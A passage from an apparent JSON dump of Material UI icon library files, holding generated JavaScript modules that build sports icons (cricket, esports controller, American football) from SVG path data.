    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.05 12.81 6.56 4.32a.996.996 0 0 0-1.41 0L2.32 7.15c-.39.39-.39 1.02 0 1.41l8.49 8.49c.39.39 1.02.39 1.41 0l2.83-2.83c.39-.39.39-1.02 0-1.41m-.7086 4.9462 1.4142-1.4142 4.2427 4.2426-1.4143 1.4142z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18.5\",\n  cy: \"5.5\",\n  r: \"3.5\"\n}, \"1\")], 'SportsCricketSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricketSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.05 12.81 6.56 4.32a.996.996 0 0 0-1.41 0L2.32 7.15c-.39.39-.39 1.02 0 1.41l8.49 8.49c.39.39 1.02.39 1.41 0l2.83-2.83c.39-.39.39-1.02 0-1.41m-.7086 4.9462 1.4142-1.4142 4.2427 4.2426-1.4143 1.4142z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18.5\",\n  cy: \"5.5\",\n  r: \"3.5\"\n}, \"1\")], 'SportsCricketSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricketTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.4141 7.8394 5.8354 6.418l7.0852 7.0852-1.4213 1.4213z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18.5\",\n  cy: \"5.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.04 12.79-8.5-8.5C6.35 4.1 6.09 4 5.83 4s-.51.1-.7.29L2.29 7.13c-.39.39-.39 1.03 0 1.42l8.5 8.5c.2.2.45.29.71.29s.51-.1.71-.29l2.83-2.83c.39-.4.39-1.04 0-1.43m-3.54 2.13L4.41 7.83l1.42-1.42 7.09 7.09zm2.8414 2.8362 1.4142-1.4142 4.2427 4.2426-1.4143 1.4142zM18.5 2C16.57 2 15 3.57 15 5.5S16.57 9 18.5 9 22 7.43 22 5.5 20.43 2 18.5 2m0 5c-.83 0-1.5-.67-1.5-1.5S17.67 4 18.5 4s1.5.67 1.5 1.5S19.33 7 18.5 7\"\n}, \"2\")], 'SportsCricketTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsCricketTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.4141 7.8394 5.8354 6.418l7.0852 7.0852-1.4213 1.4213z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18.5\",\n  cy: \"5.5\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.04 12.79-8.5-8.5C6.35 4.1 6.09 4 5.83 4s-.51.1-.7.29L2.29 7.13c-.39.39-.39 1.03 0 1.42l8.5 8.5c.2.2.45.29.71.29s.51-.1.71-.29l2.83-2.83c.39-.4.39-1.04 0-1.43m-3.54 2.13L4.41 7.83l1.42-1.42 7.09 7.09zm2.8414 2.8362 1.4142-1.4142 4.2427 4.2426-1.4143 1.4142zM18.5 2C16.57 2 15 3.57 15 5.5S16.57 9 18.5 9 22 7.43 22 5.5 20.43 2 18.5 2m0 5c-.83 0-1.5-.67-1.5-1.5S17.67 4 18.5 4s1.5.67 1.5 1.5S19.33 7 18.5 7\"\n}, \"2\")], 'SportsCricketTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsports.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.58 16.09-1.09-7.66C20.21 6.46 18.52 5 16.53 5H7.47C5.48 5 3.79 6.46 3.51 8.43l-1.09 7.66C2.2 17.63 3.39 19 4.94 19c.68 0 1.32-.27 1.8-.75L9 16h6l2.25 2.25c.48.48 1.13.75 1.8.75 1.56 0 2.75-1.37 2.53-2.91M11 11H9v2H8v-2H6v-1h2V8h1v2h2zm4-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SportsEsports');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsports.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.58 16.09-1.09-7.66C20.21 6.46 18.52 5 16.53 5H7.47C5.48 5 3.79 6.46 3.51 8.43l-1.09 7.66C2.2 17.63 3.39 19 4.94 19c.68 0 1.32-.27 1.8-.75L9 16h6l2.25 2.25c.48.48 1.13.75 1.8.75 1.56 0 2.75-1.37 2.53-2.91M11 11H9v2H8v-2H6v-1h2V8h1v2h2zm4-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SportsEsports');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsportsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.58 16.09-1.09-7.66C20.21 6.46 18.52 5 16.53 5H7.47C5.48 5 3.79 6.46 3.51 8.43l-1.09 7.66C2.2 17.63 3.39 19 4.94 19c.68 0 1.32-.27 1.8-.75L9 16h6l2.25 2.25c.48.48 1.13.75 1.8.75 1.56 0 2.75-1.37 2.53-2.91m-2.1.72c-.08.09-.21.19-.42.19-.15 0-.29-.06-.39-.16L15.83 14H8.17l-2.84 2.84c-.1.1-.24.16-.39.16-.21 0-.34-.1-.42-.19s-.16-.23-.13-.44l1.09-7.66C5.63 7.74 6.48 7 7.47 7h9.06c.99 0 1.84.74 1.98 1.72l1.09 7.66c.03.2-.05.34-.12.43\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8H8v2H6v1h2v2h1v-2h2v-1H9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"9\",\n  r: \"1\"\n}, \"3\")], 'SportsEsportsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsportsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.58 16.09-1.09-7.66C20.21 6.46 18.52 5 16.53 5H7.47C5.48 5 3.79 6.46 3.51 8.43l-1.09 7.66C2.2 17.63 3.39 19 4.94 19c.68 0 1.32-.27 1.8-.75L9 16h6l2.25 2.25c.48.48 1.13.75 1.8.75 1.56 0 2.75-1.37 2.53-2.91m-2.1.72c-.08.09-.21.19-.42.19-.15 0-.29-.06-.39-.16L15.83 14H8.17l-2.84 2.84c-.1.1-.24.16-.39.16-.21 0-.34-.1-.42-.19s-.16-.23-.13-.44l1.09-7.66C5.63 7.74 6.48 7 7.47 7h9.06c.99 0 1.84.74 1.98 1.72l1.09 7.66c.03.2-.05.34-.12.43\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8H8v2H6v1h2v2h1v-2h2v-1H9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"9\",\n  r: \"1\"\n}, \"3\")], 'SportsEsportsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsportsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.58 16.09-1.09-7.66C20.21 6.46 18.52 5 16.53 5H7.47C5.48 5 3.79 6.46 3.51 8.43l-1.09 7.66C2.2 17.63 3.39 19 4.94 19c.68 0 1.32-.27 1.8-.75L9 16h6l2.25 2.25c.48.48 1.13.75 1.8.75 1.56 0 2.75-1.37 2.53-2.91M11 11H9v2H8v-2H6v-1h2V8h1v2h2zm4-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SportsEsportsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsportsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.58 16.09-1.09-7.66C20.21 6.46 18.52 5 16.53 5H7.47C5.48 5 3.79 6.46 3.51 8.43l-1.09 7.66C2.2 17.63 3.39 19 4.94 19c.68 0 1.32-.27 1.8-.75L9 16h6l2.25 2.25c.48.48 1.13.75 1.8.75 1.56 0 2.75-1.37 2.53-2.91M11 11H9v2H8v-2H6v-1h2V8h1v2h2zm4-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SportsEsportsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsportsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5H4L2 19h4l3-3h6l3 3h4zm-9 6H9v2H8v-2H6v-1h2V8h1v2h2zm4-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SportsEsportsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsportsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5H4L2 19h4l3-3h6l3 3h4zm-9 6H9v2H8v-2H6v-1h2V8h1v2h2zm4-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'SportsEsportsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsportsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.53 7H7.47c-.99 0-1.84.74-1.98 1.72L4.4 16.37c-.03.21.05.35.13.44.07.09.2.19.41.19.15 0 .29-.06.39-.16L8.17 14h7.66l2.84 2.84c.1.1.24.16.39.16.21 0 .34-.1.42-.19s.16-.23.13-.44l-1.09-7.66c-.15-.97-1-1.71-1.99-1.71M11 11H9v2H8v-2H6v-1h2V8h1v2h2zm4-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.58 16.09-1.09-7.66C20.21 6.46 18.52 5 16.53 5H7.47C5.48 5 3.79 6.46 3.51 8.43l-1.09 7.66C2.2 17.63 3.39 19 4.94 19c.68 0 1.32-.27 1.8-.75L9 16h6l2.25 2.25c.48.48 1.13.75 1.8.75 1.56 0 2.75-1.37 2.53-2.91m-2.1.72c-.08.09-.21.19-.42.19-.15 0-.29-.06-.39-.16L15.83 14H8.17l-2.84 2.84c-.1.1-.24.16-.39.16-.21 0-.34-.1-.42-.19s-.16-.23-.13-.44l1.09-7.66C5.63 7.74 6.48 7 7.47 7h9.06c.99 0 1.84.74 1.98 1.72l1.09 7.66c.03.2-.05.34-.12.43\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 8H8v2H6v1h2v2h1v-2h2v-1H9z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"9\",\n  r: \"1\"\n}, \"4\")], 'SportsEsportsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsEsportsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.53 7H7.47c-.99 0-1.84.74-1.98 1.72L4.4 16.37c-.03.21.05.35.13.44.07.09.2.19.41.19.15 0 .29-.06.39-.16L8.17 14h7.66l2.84 2.84c.1.1.24.16.39.16.21 0 .34-.1.42-.19s.16-.23.13-.44l-1.09-7.66c-.15-.97-1-1.71-1.99-1.71M11 11H9v2H8v-2H6v-1h2V8h1v2h2zm4-1c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.58 16.09-1.09-7.66C20.21 6.46 18.52 5 16.53 5H7.47C5.48 5 3.79 6.46 3.51 8.43l-1.09 7.66C2.2 17.63 3.39 19 4.94 19c.68 0 1.32-.27 1.8-.75L9 16h6l2.25 2.25c.48.48 1.13.75 1.8.75 1.56 0 2.75-1.37 2.53-2.91m-2.1.72c-.08.09-.21.19-.42.19-.15 0-.29-.06-.39-.16L15.83 14H8.17l-2.84 2.84c-.1.1-.24.16-.39.16-.21 0-.34-.1-.42-.19s-.16-.23-.13-.44l1.09-7.66C5.63 7.74 6.48 7 7.47 7h9.06c.99 0 1.84.74 1.98 1.72l1.09 7.66c.03.2-.05.34-.12.43\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 8H8v2H6v1h2v2h1v-2h2v-1H9z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"12\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"9\",\n  r: \"1\"\n}, \"4\")], 'SportsEsportsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootball.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.02 15.62c-.08 2.42.32 4.34.67 4.69s2.28.76 4.69.67zM13.08 3.28c-2.33.42-4.79 1.34-6.62 3.18s-2.76 4.29-3.18 6.62l7.63 7.63c2.34-.41 4.79-1.34 6.62-3.18s2.76-4.29 3.18-6.62zM9.9 15.5l-1.4-1.4 5.6-5.6 1.4 1.4zm11.08-7.12c.08-2.42-.32-4.34-.67-4.69s-2.28-.76-4.69-.67z\"\n}), 'SportsFootball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootball.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.02 15.62c-.08 2.42.32 4.34.67 4.69s2.28.76 4.69.67zM13.08 3.28c-2.33.42-4.79 1.34-6.62 3.18s-2.76 4.29-3.18 6.62l7.63 7.63c2.34-.41 4.79-1.34 6.62-3.18s2.76-4.29 3.18-6.62zM9.9 15.5l-1.4-1.4 5.6-5.6 1.4 1.4zm11.08-7.12c.08-2.42-.32-4.34-.67-4.69s-2.28-.76-4.69-.67z\"\n}), 'SportsFootball');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootballOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.31 3.69c-.32-.33-1.94-.69-4.05-.69-3.03 0-7.09.75-9.8 3.46-4.59 4.59-3.56 13.06-2.77 13.85.32.33 1.94.69 4.05.69 3.03 0 7.09-.75 9.8-3.46 4.59-4.59 3.56-13.06 2.77-13.85M7.74 19c-1.14 0-2.02-.12-2.53-.23-.18-.79-.3-2.21-.17-3.83l4.01 4.01c-.52.04-.97.05-1.31.05m8.39-2.87c-1.33 1.33-3.06 2.05-4.66 2.44l-6.04-6.04c.42-1.68 1.16-3.37 2.45-4.65 1.32-1.32 3.05-2.04 4.64-2.43l6.05 6.05c-.42 1.67-1.17 3.35-2.44 4.63m2.83-7.04-4.03-4.03c.52-.05.98-.06 1.33-.06 1.14 0 2.02.12 2.53.23.18.79.3 2.22.17 3.86\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.4999 14.1002 14.1 8.4999l1.4001 1.4L9.9 15.5003z\"\n}, \"1\")], 'SportsFootballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootballOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.31 3.69c-.32-.33-1.94-.69-4.05-.69-3.03 0-7.09.75-9.8 3.46-4.59 4.59-3.56 13.06-2.77 13.85.32.33 1.94.69 4.05.69 3.03 0 7.09-.75 9.8-3.46 4.59-4.59 3.56-13.06 2.77-13.85M7.74 19c-1.14 0-2.02-.12-2.53-.23-.18-.79-.3-2.21-.17-3.83l4.01 4.01c-.52.04-.97.05-1.31.05m8.39-2.87c-1.33 1.33-3.06 2.05-4.66 2.44l-6.04-6.04c.42-1.68 1.16-3.37 2.45-4.65 1.32-1.32 3.05-2.04 4.64-2.43l6.05 6.05c-.42 1.67-1.17 3.35-2.44 4.63m2.83-7.04-4.03-4.03c.52-.05.98-.06 1.33-.06 1.14 0 2.02.12 2.53.23.18.79.3 2.22.17 3.86\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.4999 14.1002 14.1 8.4999l1.4001 1.4L9.9 15.5003z\"\n}, \"1\")], 'SportsFootballOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootballRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.02 15.62c-.08 2.42.32 4.34.67 4.69s2.28.76 4.69.67zM13.08 3.28c-2.33.42-4.79 1.34-6.62 3.18s-2.76 4.29-3.18 6.62l7.63 7.63c2.34-.41 4.79-1.34 6.62-3.18s2.76-4.29 3.18-6.62zm1.72 7.32-4.2 4.2c-.39.39-1.01.39-1.4 0s-.39-1.01 0-1.4l4.2-4.2c.39-.39 1.01-.39 1.4 0s.39 1.01 0 1.4m6.18-2.22c.08-2.42-.32-4.34-.67-4.69s-2.28-.76-4.69-.67z\"\n}), 'SportsFootballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootballRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.02 15.62c-.08 2.42.32 4.34.67 4.69s2.28.76 4.69.67zM13.08 3.28c-2.33.42-4.79 1.34-6.62 3.18s-2.76 4.29-3.18 6.62l7.63 7.63c2.34-.41 4.79-1.34 6.62-3.18s2.76-4.29 3.18-6.62zm1.72 7.32-4.2 4.2c-.39.39-1.01.39-1.4 0s-.39-1.01 0-1.4l4.2-4.2c.39-.39 1.01-.39 1.4 0s.39 1.01 0 1.4m6.18-2.22c.08-2.42-.32-4.34-.67-4.69s-2.28-.76-4.69-.67z\"\n}), 'SportsFootballRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootballSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.02 15.62c-.08 2.42.32 4.34.67 4.69s2.28.76 4.69.67zM13.08 3.28c-2.33.42-4.79 1.34-6.62 3.18s-2.76 4.29-3.18 6.62l7.63 7.63c2.34-.41 4.79-1.34 6.62-3.18s2.76-4.29 3.18-6.62zM9.9 15.5l-1.4-1.4 5.6-5.6 1.4 1.4zm11.08-7.12c.08-2.42-.32-4.34-.67-4.69s-2.28-.76-4.69-.67z\"\n}), 'SportsFootballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootballSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.02 15.62c-.08 2.42.32 4.34.67 4.69s2.28.76 4.69.67zM13.08 3.28c-2.33.42-4.79 1.34-6.62 3.18s-2.76 4.29-3.18 6.62l7.63 7.63c2.34-.41 4.79-1.34 6.62-3.18s2.76-4.29 3.18-6.62zM9.9 15.5l-1.4-1.4 5.6-5.6 1.4 1.4zm11.08-7.12c.08-2.42-.32-4.34-.67-4.69s-2.28-.76-4.69-.67z\"\n}), 'SportsFootballSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootballTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.26 5c-.35 0-.8.01-1.33.06l4.03 4.03c.14-1.63.01-3.07-.17-3.86-.51-.11-1.39-.23-2.53-.23M5.21 18.77c.51.11 1.39.23 2.53.23.34 0 .79-.01 1.3-.05l-4.01-4.01c-.12 1.62 0 3.04.18 3.83m2.66-10.9c-1.28 1.28-2.03 2.97-2.45 4.65l6.04 6.04c1.6-.39 3.33-1.11 4.66-2.44 1.28-1.28 2.03-2.95 2.44-4.63l-6.05-6.05c-1.59.39-3.31 1.11-4.64 2.43M15.5 9.9l-5.6 5.6-1.4-1.4 5.6-5.6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.31 3.69c-.32-.33-1.94-.69-4.05-.69-3.03 0-7.09.75-9.8 3.46-4.59 4.59-3.56 13.06-2.77 13.85.32.33 1.94.69 4.05.69 3.03 0 7.09-.75 9.8-3.46 4.59-4.59 3.56-13.06 2.77-13.85M7.74 19c-1.14 0-2.02-.12-2.53-.23-.18-.79-.3-2.21-.17-3.83l4.01 4.01c-.52.04-.97.05-1.31.05m8.39-2.87c-1.33 1.33-3.06 2.05-4.66 2.44l-6.04-6.04c.42-1.68 1.16-3.37 2.45-4.65 1.32-1.32 3.05-2.04 4.64-2.43l6.05 6.05c-.42 1.67-1.17 3.35-2.44 4.63m2.83-7.04-4.03-4.03c.52-.05.98-.06 1.33-.06 1.14 0 2.02.12 2.53.23.18.79.3 2.22.17 3.86\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.4999 14.1002 14.1 8.4999l1.4001 1.4L9.9 15.5003z\"\n}, \"2\")], 'SportsFootballTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsFootballTwoTone.mjs",
